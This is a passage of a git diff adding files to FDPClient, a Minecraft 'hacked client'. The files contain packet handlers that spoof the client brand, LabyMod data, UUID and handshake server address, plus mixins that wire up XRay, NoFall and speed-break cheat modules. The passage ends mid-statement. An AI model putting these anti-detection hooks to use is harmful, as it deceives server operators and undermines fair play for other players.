+1,78 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.handler.network + +import io.netty.buffer.Unpooled +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Listenable +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.ccbluex.liquidbounce.utils.MinecraftInstance +import net.ccbluex.liquidbounce.utils.misc.RandomUtils +import net.minecraft.network.PacketBuffer +import net.minecraft.network.play.client.C17PacketCustomPayload + +object ClientFixes : MinecraftInstance(), Listenable { + @kotlin.jvm.JvmField + var fmlFixesEnabled = true + + var blockFML = true + @JvmField + var blockProxyPacket = true + @JvmField + var blockPayloadPackets = true + @JvmField + var blockResourcePackExploit = true + var enabled = true + + @JvmField + var clientBrand = "Vanilla" + + @JvmField + var possibleBrands = arrayOf( + "Vanilla", + "Forge", + "LunarClient", + "CheatBreaker" + ) + + @EventTarget + fun onPacket(event: PacketEvent) = runCatching { + val packet = event.packet + + if (mc.isIntegratedServerRunning || !fmlFixesEnabled) { + return@runCatching + } + + when { + blockProxyPacket && packet.javaClass.name == "net.minecraftforge.fml.common.network.internal.FMLProxyPacket" -> { + event.cancelEvent() + return@runCatching + } + + packet is C17PacketCustomPayload -> { + if (blockPayloadPackets && !packet.channelName.startsWith("MC|")) { + event.cancelEvent() + } else if (packet.channelName.equals("MC|Brand", ignoreCase = true)) { + packet.data = PacketBuffer(Unpooled.buffer()).writeString(when (clientBrand) { + "Vanilla" -> "vanilla" + "LunarClient" -> "lunarclient:" + RandomUtils.randomString(7) + "CheatBreaker" -> "CB" + else -> { + // do nothing + return@runCatching + } + }) + } + } + } + }.onFailure { + ClientUtils.logger.error("Failed to handle packet on client fixes.", it) + } + + override fun handleEvents() = true + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/handler/network/ClientSpoof.java b/src/main/java/net/ccbluex/liquidbounce/handler/network/ClientSpoof.java new file mode 100644 index 0000000..37e42f7 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/handler/network/ClientSpoof.java @@ -0,0 +1,138 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.handler.network; + +import io.netty.buffer.Unpooled; +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.event.EventTarget; +import net.ccbluex.liquidbounce.event.Listenable; +import net.ccbluex.liquidbounce.event.PacketEvent; +import net.ccbluex.liquidbounce.utils.MinecraftInstance; +import net.minecraft.client.Minecraft; +import net.minecraft.network.Packet; +import net.minecraft.network.PacketBuffer; +import net.minecraft.network.play.client.C17PacketCustomPayload; +import net.minecraft.network.play.server.S3FPacketCustomPayload; + +import java.util.Objects; + +public class ClientSpoof extends MinecraftInstance implements Listenable { + + public static final boolean enabled = true; + + @EventTarget + public void handle(final PacketEvent event) { + final Packet<?> packet = event.getPacket(); + final net.ccbluex.liquidbounce.features.module.modules.client.ClientSpoof clientSpoof = FDPClient.moduleManager.getModule(net.ccbluex.liquidbounce.features.module.modules.client.ClientSpoof.class); + + if (enabled && !Minecraft.getMinecraft().isIntegratedServerRunning() && Objects.requireNonNull(clientSpoof).getModeValue().equals("Vanilla")) { + try { + if (packet.getClass().getName().equals("net.minecraftforge.fml.common.network.internal.FMLProxyPacket")) + event.cancelEvent(); + + if (packet instanceof C17PacketCustomPayload) { + final C17PacketCustomPayload customPayload = (C17PacketCustomPayload) packet; + + if (!customPayload.getChannelName().startsWith("MC|")) + event.cancelEvent(); + else if (customPayload.getChannelName().equalsIgnoreCase("MC|Brand")) + customPayload.data = (new PacketBuffer(Unpooled.buffer()).writeString("vanilla")); + } + } catch (final Exception e) { + e.printStackTrace(); + } + } + + if (enabled && !Minecraft.getMinecraft().isIntegratedServerRunning() && Objects.requireNonNull(clientSpoof).getModeValue().equals("LabyMod")) { + try { + + if (packet.getClass().getName().equals("net.minecraftforge.fml.common.network.internal.FMLProxyPacket")) + event.cancelEvent(); + + if (packet instanceof S3FPacketCustomPayload) { + final S3FPacketCustomPayload payload = (S3FPacketCustomPayload) packet; + if (payload.getChannelName().equals("REGISTER")) { + mc.getNetHandler().addToSendQueue(new C17PacketCustomPayload("labymod3:main", this.getInfo())); + mc.getNetHandler().addToSendQueue(new C17PacketCustomPayload("LMC", this.getInfo())); + + } + } + + } catch (final Exception e) { + e.printStackTrace(); + } + } + + if (enabled && !Minecraft.getMinecraft().isIntegratedServerRunning() && Objects.requireNonNull(clientSpoof).getModeValue().equals("CheatBreaker")) { + try { + if (packet.getClass().getName().equals("net.minecraftforge.fml.common.network.internal.FMLProxyPacket")) + event.cancelEvent(); + + if (packet instanceof C17PacketCustomPayload) { + final C17PacketCustomPayload customPayload = (C17PacketCustomPayload) packet; + + if (!customPayload.getChannelName().startsWith("MC|")) + event.cancelEvent(); + else if (customPayload.getChannelName().equalsIgnoreCase("MC|Brand")) + customPayload.data = (new PacketBuffer(Unpooled.buffer()).writeString("CB")); + } + } catch (final Exception e) { + e.printStackTrace(); + } + } + + if (enabled && !Minecraft.getMinecraft().isIntegratedServerRunning() && Objects.requireNonNull(clientSpoof).getModeValue().equals("PvPLounge")) { + try { + if (packet.getClass().getName().equals("net.minecraftforge.fml.common.network.internal.FMLProxyPacket")) + event.cancelEvent(); + + if (packet instanceof C17PacketCustomPayload) { + final C17PacketCustomPayload customPayload = (C17PacketCustomPayload) packet; + + if (!customPayload.getChannelName().startsWith("MC|")) + event.cancelEvent(); + else if (customPayload.getChannelName().equalsIgnoreCase("MC|Brand")) + customPayload.data = (new PacketBuffer(Unpooled.buffer()).writeString("PLC18")); + } + } catch (final Exception e) { + e.printStackTrace(); + } + } + } + + private PacketBuffer getInfo() { + return new PacketBuffer(Unpooled.buffer()) + .writeString("INFO") + .writeString("{ \n" + + " \"version\": \"3.9.25\",\n" + + " \"ccp\": { \n" + + " \"enabled\": true,\n" + + " \"version\": 2\n" + + " },\n" + + " \"shadow\":{ \n" + + " \"enabled\": true,\n" + + " \"version\": 1\n" + + " },\n" + + " \"addons\": [ \n" + + " { \n" + + " \"uuid\": \"null\",\n" + + " \"name\": \"null\"\n" + + " }\n" + + " ],\n" + + " \"mods\": [\n" + + " { \n" + + " \"hash\":\"sha256:null\",\n" + + " \"name\":\"null.jar\"\n" + + " }\n" + + " ]\n" + + "}"); + } + + @Override + public boolean handleEvents() { + return true; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/handler/network/ProxyManager.kt b/src/main/java/net/ccbluex/liquidbounce/handler/network/ProxyManager.kt new file mode 100644 index 0000000..4e30cca --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/handler/network/ProxyManager.kt @@ -0,0 +1,28 @@ +package net.ccbluex.liquidbounce.handler.network + +import io.netty.bootstrap.ChannelFactory +import io.netty.channel.socket.oio.OioSocketChannel +import java.net.InetSocketAddress +import java.net.Proxy +import java.net.Socket + +object ProxyManager { + var isEnable = false + var proxy = "127.0.0.1:10808" // V2Ray VPN Default Port + var proxyType = Proxy.Type.SOCKS + + val proxyInstance: Proxy + get() = proxy.split(":").let { Proxy(proxyType, InetSocketAddress(it.first(), it.last().toInt())) } + + class ProxyOioChannelFactory(proxy: Proxy) : ChannelFactory<OioSocketChannel> { + private val proxy: Proxy + + init { + this.proxy = proxy + } + + override fun newChannel(): OioSocketChannel { + return OioSocketChannel(Socket(this.proxy)) + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/handler/other/AutoDisable.kt b/src/main/java/net/ccbluex/liquidbounce/handler/other/AutoDisable.kt new file mode 100644 index 0000000..f9dc582 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/handler/other/AutoDisable.kt @@ -0,0 +1,54 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.handler.other + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Listenable +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.WorldEvent +import net.ccbluex.liquidbounce.features.module.EnumAutoDisableType +import net.ccbluex.liquidbounce.features.module.EnumTriggerType +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Notification +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.NotifyType +import net.minecraft.network.play.server.S08PacketPlayerPosLook + +object AutoDisable : Listenable { + private const val name = "AutoDisable" + + @EventTarget + fun onWorld(event: WorldEvent) { + FDPClient.moduleManager.modules + .filter { it.state && it.autoDisable == EnumAutoDisableType.RESPAWN && it.triggerType == EnumTriggerType.TOGGLE } + .forEach { module -> + module.state = false + FDPClient.hud.addNotification(Notification(name, "Disabled ${module.name} due world Changed.", NotifyType.WARNING, 2000)) + } + } + + @EventTarget + fun onPacket(event: PacketEvent) { + if (event.packet is S08PacketPlayerPosLook) { + FDPClient.moduleManager.modules + .filter { it.state && it.autoDisable == EnumAutoDisableType.FLAG && it.triggerType == EnumTriggerType.TOGGLE } + .forEach { module -> + module.state = false + FDPClient.hud.addNotification(Notification(name, "Disabled ${module.name} due flags.", NotifyType.WARNING, 2000)) + } + } + } + + fun handleGameEnd() { + FDPClient.moduleManager.modules + .filter { it.state && it.autoDisable == EnumAutoDisableType.GAME_END } + .forEach { module -> + module.state = false + FDPClient.hud.addNotification(Notification(name, "Disabled ${module.name} due to game end.", NotifyType.WARNING, 2000)) + } + } + + override fun handleEvents() = true +} diff --git a/src/main/java/net/ccbluex/liquidbounce/handler/other/ServerSpoof.kt b/src/main/java/net/ccbluex/liquidbounce/handler/other/ServerSpoof.kt new file mode 100644 index 0000000..3602fb7 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/handler/other/ServerSpoof.kt @@ -0,0 +1,27 @@ +package net.ccbluex.liquidbounce.handler.other + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Listenable +import net.ccbluex.liquidbounce.event.PacketEvent +import net.minecraft.network.handshake.client.C00Handshake + +object ServerSpoof : Listenable { + var enable = false + var address = "eu.loyisa.cn" + + @EventTarget + fun onPacket(event: PacketEvent) { + if (enable && event.packet is C00Handshake) { + val packet = event.packet + val ipList = address.split(":").toTypedArray() + packet.ip = ipList[0] + if (ipList.size > 1) { + packet.port = ipList[1].toInt() + } else { + packet.port = 25565 + } + } + } + + override fun handleEvents() = true +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/handler/other/UUIDSpoofer.kt b/src/main/java/net/ccbluex/liquidbounce/handler/other/UUIDSpoofer.kt new file mode 100644 index 0000000..038a964 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/handler/other/UUIDSpoofer.kt @@ -0,0 +1,16 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ + +package net.ccbluex.liquidbounce.handler.other + +import net.ccbluex.liquidbounce.utils.MinecraftInstance + +object UUIDSpoofer : MinecraftInstance() { + var spoofId: String? = null + + @JvmStatic + fun getUUID(): String = (if (spoofId == null) mc.session.playerID else spoofId!!).replace("-", "") +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/access/IBlock.java b/src/main/java/net/ccbluex/liquidbounce/injection/access/IBlock.java new file mode 100644 index 0000000..15962cd --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/access/IBlock.java @@ -0,0 +1,10 @@ +package net.ccbluex.liquidbounce.injection.access; + +import net.minecraft.world.IBlockAccess; + +public interface IBlock { + int getLightValue(IBlockAccess var1, int var2, int var3, int var4); + + int getLightOpacity(IBlockAccess var1, int var2, int var3, int var4); +} + diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/access/IChunk.java b/src/main/java/net/ccbluex/liquidbounce/injection/access/IChunk.java new file mode 100644 index 0000000..b584631 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/access/IChunk.java @@ -0,0 +1,17 @@ +package net.ccbluex.liquidbounce.injection.access; + +import net.minecraft.block.state.IBlockState; +import net.minecraft.world.EnumSkyBlock; + +public interface IChunk { + int getLightFor(EnumSkyBlock var1, int var2, int var3, int var4); + + int getLightSubtracted(int var1, int var2, int var3, int var4); + + boolean canSeeSky(int var1, int var2, int var3); + + void setLightFor(EnumSkyBlock var1, int var2, int var3, int var4, int var5); + + IBlockState getBlockState(int var1, int var2, int var3); +} + diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/access/IItemStack.java b/src/main/java/net/ccbluex/liquidbounce/injection/access/IItemStack.java new file mode 100644 index 0000000..233ae46 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/access/IItemStack.java @@ -0,0 +1,10 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.access; + +public interface IItemStack { + long getItemDelay(); +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/access/IMixinWorldAccess.java b/src/main/java/net/ccbluex/liquidbounce/injection/access/IMixinWorldAccess.java new file mode 100644 index 0000000..4d3dcec --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/access/IMixinWorldAccess.java @@ -0,0 +1,8 @@ +package net.ccbluex.liquidbounce.injection.access; + +public interface IMixinWorldAccess { + + void markBlockForUpdate(int var1, int var2, int var3); + + void notifyLightSet(int var1, int var2, int var3); +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/access/IWorld.java b/src/main/java/net/ccbluex/liquidbounce/injection/access/IWorld.java new file mode 100644 index 0000000..a0dd732 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/access/IWorld.java @@ -0,0 +1,50 @@ +package net.ccbluex.liquidbounce.injection.access; + +import net.minecraft.block.state.IBlockState; +import net.minecraft.world.EnumSkyBlock; +import net.minecraft.world.chunk.Chunk; + +public interface IWorld { + + boolean isAreaLoaded(int var1, int var2, int var3, int var4, boolean var5); + + boolean isBlockLoaded(int var1, int var2, int var3); + + boolean isBlockLoaded(int var1, int var2, int var3, boolean var4); + + boolean isValid(int var1, int var2, int var3); + + boolean canSeeSky(int var1, int var2, int var3); + + int getCombinedLight(int var1, int var2, int var3, int var4); + + int getRawLight(int var1, int var2, int var3, EnumSkyBlock var4); + + int getLight(int var1, int var2, int var3, boolean var4); + + int getLightFor(EnumSkyBlock var1, int var2, int var3, int var4); + + int getLightFromNeighbors(int var1, int var2, int var3); + + int getLightFromNeighborsFor(EnumSkyBlock var1, int var2, int var3, int var4); + + void setLightFor(EnumSkyBlock var1, int var2, int var3, int var4, int var5); + + boolean checkLight(int var1, int var2, int var3); + + boolean checkLightFor(EnumSkyBlock var1, int var2, int var3, int var4); + + float getLightBrightness(int var1, int var2, int var3); + + IBlockState getBlockState(int n, int n2, int n3); + + boolean setBlockState(int var1, int var2, int var3, IBlockState var4, int var5); + + void markBlockForUpdate(int var1, int var2, int var3); + + void markAndNotifyBlock(int var1, int var2, int var3, Chunk var4, IBlockState var5, IBlockState var6, int var7); + + void notifyLightSet(int var1, int var2, int var3); + + Chunk getChunkFromBlockCoords(int var1, int var2, int var3); +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/access/StaticStorage.java b/src/main/java/net/ccbluex/liquidbounce/injection/access/StaticStorage.java new file mode 100644 index 0000000..e7f8921 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/access/StaticStorage.java @@ -0,0 +1,43 @@ +package net.ccbluex.liquidbounce.injection.access; + +import net.minecraft.client.gui.ScaledResolution; +import net.minecraft.util.EnumChatFormatting; +import net.minecraft.util.EnumFacing; +import net.minecraft.util.EnumParticleTypes; +import net.minecraft.util.EnumWorldBlockLayer; + +/** + * values() will cause performance issues, so we store them in a static array. + * We use ASM to replace values() with our own array. [net.ccbluex.liquidbounce.injection.transformers.OptimizeTransformer] + * https://stackoverflow.com/questions/2446135/is-there-a-performance-hit-when-using-enum-values-vs-string-arrays + * + * in my tests, this is 10 times faster than using values() + * I access them 1145141919 times and save EnumFacing.name into a local variable in my test + * EnumFacings.values() cost 122 ms + * StaticStorage.facings() cost 15 ms + * + * @author liulihaocai + */ +public class StaticStorage { + + private static final EnumFacing[] facings = EnumFacing.values(); + private static final EnumChatFormatting[] chatFormatting = EnumChatFormatting.values(); + private static final EnumParticleTypes[] particleTypes = EnumParticleTypes.values(); + private static final EnumWorldBlockLayer[] worldBlockLayers = EnumWorldBlockLayer.values(); + + public static ScaledResolution scaledResolution; + + public static EnumFacing[] facings() {return facings; } + + public static EnumChatFormatting[] chatFormatting() { + return chatFormatting; + } + + public static EnumParticleTypes[] particleTypes() { + return particleTypes; + } + + public static EnumWorldBlockLayer[] worldBlockLayers() { + return worldBlockLayers; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/TransformerLoader.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/TransformerLoader.java new file mode 100644 index 0000000..cb576b7 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/TransformerLoader.java @@ -0,0 +1,89 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge; + +import net.ccbluex.liquidbounce.injection.transformers.ForgeNetworkTransformer; +import net.ccbluex.liquidbounce.injection.transformers.OptimizeTransformer; +import net.ccbluex.liquidbounce.injection.transformers.ViaForgeSupportTransformer; +import net.ccbluex.liquidbounce.script.remapper.injection.transformers.AbstractJavaLinkerTransformer; +import net.minecraftforge.fml.relauncher.IFMLLoadingPlugin; +import org.spongepowered.asm.launch.MixinBootstrap; +import org.spongepowered.asm.mixin.MixinEnvironment; +import org.spongepowered.asm.mixin.Mixins; + +import java.util.Map; + +@IFMLLoadingPlugin.MCVersion("1.8.9") +public class TransformerLoader implements IFMLLoadingPlugin { + + public TransformerLoader() { + MixinBootstrap.init(); + Mixins.addConfiguration("mixins.fdpclient.json"); + MixinEnvironment.getDefaultEnvironment().setSide(MixinEnvironment.Side.CLIENT); + } + + /** + * Return a list of classes that implements the IClassTransformer interface + * + * @return a list of classes that implements the IClassTransformer interface + */ + @Override + public String[] getASMTransformerClass() { + return new String[] {ForgeNetworkTransformer.class.getName(), AbstractJavaLinkerTransformer.class.getName(), ViaForgeSupportTransformer.class.getName(), OptimizeTransformer.class.getName()}; + } + + /** + * Return a class name that implements "ModContainer" for injection into the mod list + * The "getName" function should return a name that other mods can, if need be, + * depend on. + * Trivially, this modcontainer will be loaded before all regular mod containers, + * which means it will be forced to be "immutable" - not susceptible to normal + * sorting behaviour. + * All other mod behaviours are available however- this container can receive and handle + * normal loading events + */ + @Override + public String getModContainerClass() { + return null; + } + + /** + * Return the class name of an implementor of "IFMLCallHook", that will be run, in the + * main thread, to perform any additional setup this coremod may require. It will be + * run <strong>prior</strong> to Minecraft starting, so it CANNOT operate on minecraft + * itself. The game will deliberately crash if this code is detected to trigger a + * minecraft class loading + */ + @Override + public String getSetupClass() { + return null; + } + + /** + * Inject coremod data into this coremod + * This data includes: + * "mcLocation" : the location of the minecraft directory, + * "coremodList" : the list of coremods + * "coremodLocation" : the file this coremod loaded from, + * + * @param data + */ + @Override + public void injectData(Map<String, Object> data) { + + } + + /** + * Return an optional access transformer class for this coremod. It will be injected post-deobf + * so ensure your ATs conform to the new srgnames scheme. + * + * @return the name of an access transformer class or null if none is provided + */ + @Override + public String getAccessTransformerClass() { + return null; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/accessors/MinecraftForgeClientAccessor.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/accessors/MinecraftForgeClientAccessor.java new file mode 100644 index 0000000..65ac4c9 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/accessors/MinecraftForgeClientAccessor.java @@ -0,0 +1,22 @@ +/* + * ZAVZ Hacked Client + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.accessors; + +import com.google.common.cache.LoadingCache; +import net.minecraft.client.renderer.RegionRenderCache; +import net.minecraft.util.BlockPos; +import net.minecraft.world.World; +import net.minecraftforge.client.MinecraftForgeClient; +import org.apache.commons.lang3.tuple.Pair; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.gen.Accessor; + +@Mixin(MinecraftForgeClient.class) +public interface MinecraftForgeClientAccessor { + @SuppressWarnings("UnstableApiUsage") + @Accessor(remap = false) + static LoadingCache<Pair<World, BlockPos>, RegionRenderCache> getRegionCache() { + throw new AssertionError(); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/block/MixinBlock.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/block/MixinBlock.java new file mode 100644 index 0000000..fd254d0 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/block/MixinBlock.java @@ -0,0 +1,106 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.block; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.event.BlockBBEvent; +import net.ccbluex.liquidbounce.features.module.modules.combat.Criticals; +import net.ccbluex.liquidbounce.features.module.modules.player.NoFall; +import net.ccbluex.liquidbounce.features.module.modules.visual.XRay; +import net.ccbluex.liquidbounce.features.module.modules.world.NoSlowBreak; +import net.minecraft.block.Block; +import net.minecraft.block.material.Material; +import net.minecraft.block.state.BlockState; +import net.minecraft.block.state.IBlockState; +import net.minecraft.enchantment.EnchantmentHelper; +import net.minecraft.entity.Entity; +import net.minecraft.entity.EntityLivingBase; +import net.minecraft.entity.player.EntityPlayer; +import net.minecraft.util.AxisAlignedBB; +import net.minecraft.util.BlockPos; +import net.minecraft.util.EnumFacing; +import net.minecraft.world.World; +import org.spongepowered.asm.mixin.Final; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Overwrite; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable; + +import java.util.List; + +@Mixin(Block.class) +public abstract class MixinBlock { + + @Shadow + public abstract AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state); + + @Shadow + @Final + protected BlockState blockState; + + // Has to be implemented since a non-virtual call on an abstract method is illegal + @Shadow + public IBlockState onBlockPlaced(World worldIn, BlockPos pos, EnumFacing facing, float hitX, float hitY, float hitZ, int meta, EntityLivingBase placer) { + return null; + } + + /** + * @author CCBlueX + */ + @Overwrite + public void addCollisionBoxesToList(World worldIn, BlockPos pos, IBlockState state, AxisAlignedBB mask, List<AxisAlignedBB> list, Entity collidingEntity) { + AxisAlignedBB axisalignedbb = this.getCollisionBoundingBox(worldIn, pos, state); + final BlockBBEvent blockBBEvent = new BlockBBEvent(pos, blockState.getBlock(), axisalignedbb); + FDPClient.eventManager.callEvent(blockBBEvent); + axisalignedbb = blockBBEvent.getBoundingBox(); + if(axisalignedbb != null && mask.intersectsWith(axisalignedbb)) + list.add(axisalignedbb); + } + + @Inject(method = "shouldSideBeRendered", at = @At("HEAD"), cancellable = true) + private void shouldSideBeRendered(CallbackInfoReturnable<Boolean> callbackInfoReturnable) { + final XRay xray = FDPClient.moduleManager.getModule(XRay.class); + + if(xray.getState()) + callbackInfoReturnable.setReturnValue(xray.getXrayBlocks().contains(this)); + } + + @Inject(method = "getAmbientOcclusionLightValue", at = @At("HEAD"), cancellable = true) + private void getAmbientOcclusionLightValue(final CallbackInfoReturnable<Float> floatCallbackInfoReturnable) { + if (FDPClient.moduleManager.getModule(XRay.class).getState()) + floatCallbackInfoReturnable.setReturnValue(1F); + } + + @Inject(method = "getPlayerRelativeBlockHardness", at = @At("RETURN"), cancellable = true) + public void modifyBreakSpeed(EntityPlayer playerIn, World worldIn, BlockPos pos, final CallbackInfoReturnable<Float> callbackInfo) { + float f = callbackInfo.getReturnValue(); + + // NoSlowBreak + final NoSlowBreak noSlowBreak = FDPClient.moduleManager.getModule(NoSlowBreak.class); + if (noSlowBreak.getState()) { + if (noSlowBreak.getWaterValue().get() && playerIn.isInsideOfMaterial(Material.water) && + !EnchantmentHelper.getAquaAffinityModifier(playerIn)) { + f *= 5.0F; + } + + if (noSlowBreak.getAirValue().get() && !playerIn.onGround) { + f *= 5.0F; + } + } else if (playerIn.onGround) { // NoGround + final NoFall noFall = FDPClient.moduleManager.getModule(NoFall.class); + final Criticals criticals = FDPClient.moduleManager.getModule(Criticals.class); + + if (noFall.getState() && noFall.getMode().equals("NoGround") || + criticals.getState() && criticals.getModeValue().equals("NoGround")) { + f /= 5F; + } + } + + callbackInfo.setReturnValue(f); + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/block/MixinBlockAnvil.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/block/MixinBlockAnvil.java new file mode 100644 index 0000000..9081483 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/block/MixinBlockAnvil.java @@ -0,0 +1,24 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.block; + +import net.minecraft.block.BlockAnvil; +import net.minecraft.block.state.IBlockState; +import net.minecraft.entity.EntityLivingBase; +import net.minecraft.util.BlockPos; +import net.minecraft.util.EnumFacing; +import net.minecraft.world.World; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable; + +@Mixin(BlockAnvil.class) +public abstract class MixinBlockAnvil extends MixinBlock { + + @Inject(method = "onBlockPlaced", cancellable = true, at = @At("HEAD")) + private void injectAnvilCrashFix(World worldIn, BlockPos pos, EnumFacing facing, float hitX, float hitY, float hitZ, int meta, EntityLivingBase placer, CallbackInfoReturnable<IBlockState> cir) { + if (((meta >> 2) & ~0x3) != 0) { + cir.setReturnValue(super.onBlockPlaced(worldIn, pos, facing, hitX, hitY, hitZ, meta, placer).withProperty(BlockAnvil.FACING, placer.getHorizontalFacing().rotateY()).withProperty(BlockAnvil.DAMAGE, 2)); + cir.cancel(); + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/block/MixinBlockLadder.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/block/MixinBlockLadder.java new file mode 100644 index 0000000..c210004 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/block/MixinBlockLadder.java @@ -0,0 +1,25 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.block; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.features.module.modules.exploit.ViaVersionFix; +import net.minecraft.block.BlockLadder; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.Constant; +import org.spongepowered.asm.mixin.injection.ModifyConstant; + +import java.util.Objects; + +@Mixin(BlockLadder.class) +public class MixinBlockLadder { + @ModifyConstant(method = "setBlockBoundsBasedOnState", constant = @Constant(floatValue = 0.125F)) + private float ViaVersion_LadderBB(float constant) { + if (Objects.requireNonNull(FDPClient.moduleManager.getModule(ViaVersionFix.class)).getState()) + return 0.1875F; + return 0.125F; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/block/MixinBlockLilyPad.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/block/MixinBlockLilyPad.java new file mode 100644 index 0000000..c718a31 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/block/MixinBlockLilyPad.java @@ -0,0 +1,29 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.block; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.features.module.modules.exploit.ViaVersionFix; +import net.minecraft.block.BlockBush; +import net.minecraft.block.BlockLilyPad; +import net.minecraft.block.state.IBlockState; +import net.minecraft.util.AxisAlignedBB; +import net.minecraft.util.BlockPos; +import net.minecraft.world.World; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Overwrite; + +import java.util.Objects; + +@Mixin(BlockLilyPad.class) +public abstract class MixinBlockLilyPad extends BlockBush { + @Overwrite + public AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state) { + if (Objects.requireNonNull(FDPClient.moduleManager.getModule(ViaVersionFix.class)).getState()) + return new AxisAlignedBB((double)pos.getX() + 0.0625D, (double)pos.getY() + 0.0D, (double)pos.getZ() + 0.0625D, (double)pos.getX() + 0.9375D, 